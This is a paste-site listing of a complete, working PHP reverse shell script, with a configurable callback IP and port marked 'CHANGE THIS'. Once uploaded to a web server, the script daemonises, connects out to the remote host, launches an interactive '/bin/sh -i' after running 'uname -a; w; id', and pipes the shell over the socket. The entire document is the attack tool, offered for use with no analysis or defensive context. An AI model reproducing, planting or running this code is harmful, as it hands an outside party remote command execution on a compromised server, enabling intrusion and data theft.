· 7 years ago · Feb 01, 2018, 01:56 PM
1<?php
2
3set_time_limit (0);
4$VERSION = "1.0";
5$ip = '192.168.11.2'; // CHANGE THIS
6$port = 443; // CHANGE THIS
7$chunk_size = 1400;
8$write_a = null;
9$error_a = null;
10$shell = 'uname -a; w; id; /bin/sh -i';
11$daemon = 0;
12$debug = 0;
13
14//
15// Daemonise ourself if possible to avoid zombies later
16//
17
18// pcntl_fork is hardly ever available, but will allow us to daemonise
19// our php process and avoid zombies. Worth a try...
20if (function_exists('pcntl_fork')) {
21 // Fork and have the parent process exit
22 $pid = pcntl_fork();
23
24 if ($pid == -1) {
25 printit("ERROR: Can't fork");
26 exit(1);
27 }
28
29 if ($pid) {
30 exit(0); // Parent exits
31 }
32
33 // Make the current process a session leader
34 // Will only succeed if we forked
35 if (posix_setsid() == -1) {
36 printit("Error: Can't setsid()");
37 exit(1);
38 }
39
40 $daemon = 1;
41} else {
42 printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
43}
44
45// Change to a safe directory
46chdir("/");
47
48// Remove any umask we inherited
49umask(0);
50
51//
52// Do the reverse shell...
53//
54
55// Open reverse connection
56$sock = fsockopen($ip, $port, $errno, $errstr, 30);
57if (!$sock) {
58 printit("$errstr ($errno)");
59 exit(1);
60}
61
62// Spawn shell process
63$descriptorspec = array(
64 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
65 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
66 2 => array("pipe", "w") // stderr is a pipe that the child will write to
67);
68
69$process = proc_open($shell, $descriptorspec, $pipes);
70
71if (!is_resource($process)) {
72 printit("ERROR: Can't spawn shell");
73 exit(1);
74}
75
76// Set everything to non-blocking
77// Reason: Occsionally reads will block, even though stream_select tells us they won't
78stream_set_blocking($pipes[0], 0);
79stream_set_blocking($pipes[1], 0);
80stream_set_blocking($pipes[2], 0);
81stream_set_blocking($sock, 0);
82
83printit("Successfully opened reverse shell to $ip:$port");
84
85while (1) {
86 // Check for end of TCP connection
87 if (feof($sock)) {
88 printit("ERROR: Shell connection terminated");
89 break;
90 }
91
92 // Check for end of STDOUT
93 if (feof($pipes[1])) {
94 printit("ERROR: Shell process terminated");
95 break;
96 }
97
98 // Wait until a command is end down $sock, or some
99 // command output is available on STDOUT or STDERR
100 $read_a = array($sock, $pipes[1], $pipes[2]);
101 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
102
103 // If we can read from the TCP socket, send
104 // data to process's STDIN
105 if (in_array($sock, $read_a)) {
106 if ($debug) printit("SOCK READ");
107 $input = fread($sock, $chunk_size);
108 if ($debug) printit("SOCK: $input");
109 fwrite($pipes[0], $input);
110 }
111
112 // If we can read from the process's STDOUT
113 // send data down tcp connection
114 if (in_array($pipes[1], $read_a)) {
115 if ($debug) printit("STDOUT READ");
116 $input = fread($pipes[1], $chunk_size);
117 if ($debug) printit("STDOUT: $input");
118 fwrite($sock, $input);
119 }
120
121 // If we can read from the process's STDERR
122 // send data down tcp connection
123 if (in_array($pipes[2], $read_a)) {
124 if ($debug) printit("STDERR READ");
125 $input = fread($pipes[2], $chunk_size);
126 if ($debug) printit("STDERR: $input");
127 fwrite($sock, $input);
128 }
129}
130
131fclose($sock);
132fclose($pipes[0]);
133fclose($pipes[1]);
134fclose($pipes[2]);
135proc_close($process);
136
137// Like print, but does nothing if we've daemonised ourself
138// (I can't figure out how to redirect STDOUT like a proper daemon)
139function printit ($string) {
140 if (!$daemon) {
141 print "$string\n";
142 }
143}
144
145?>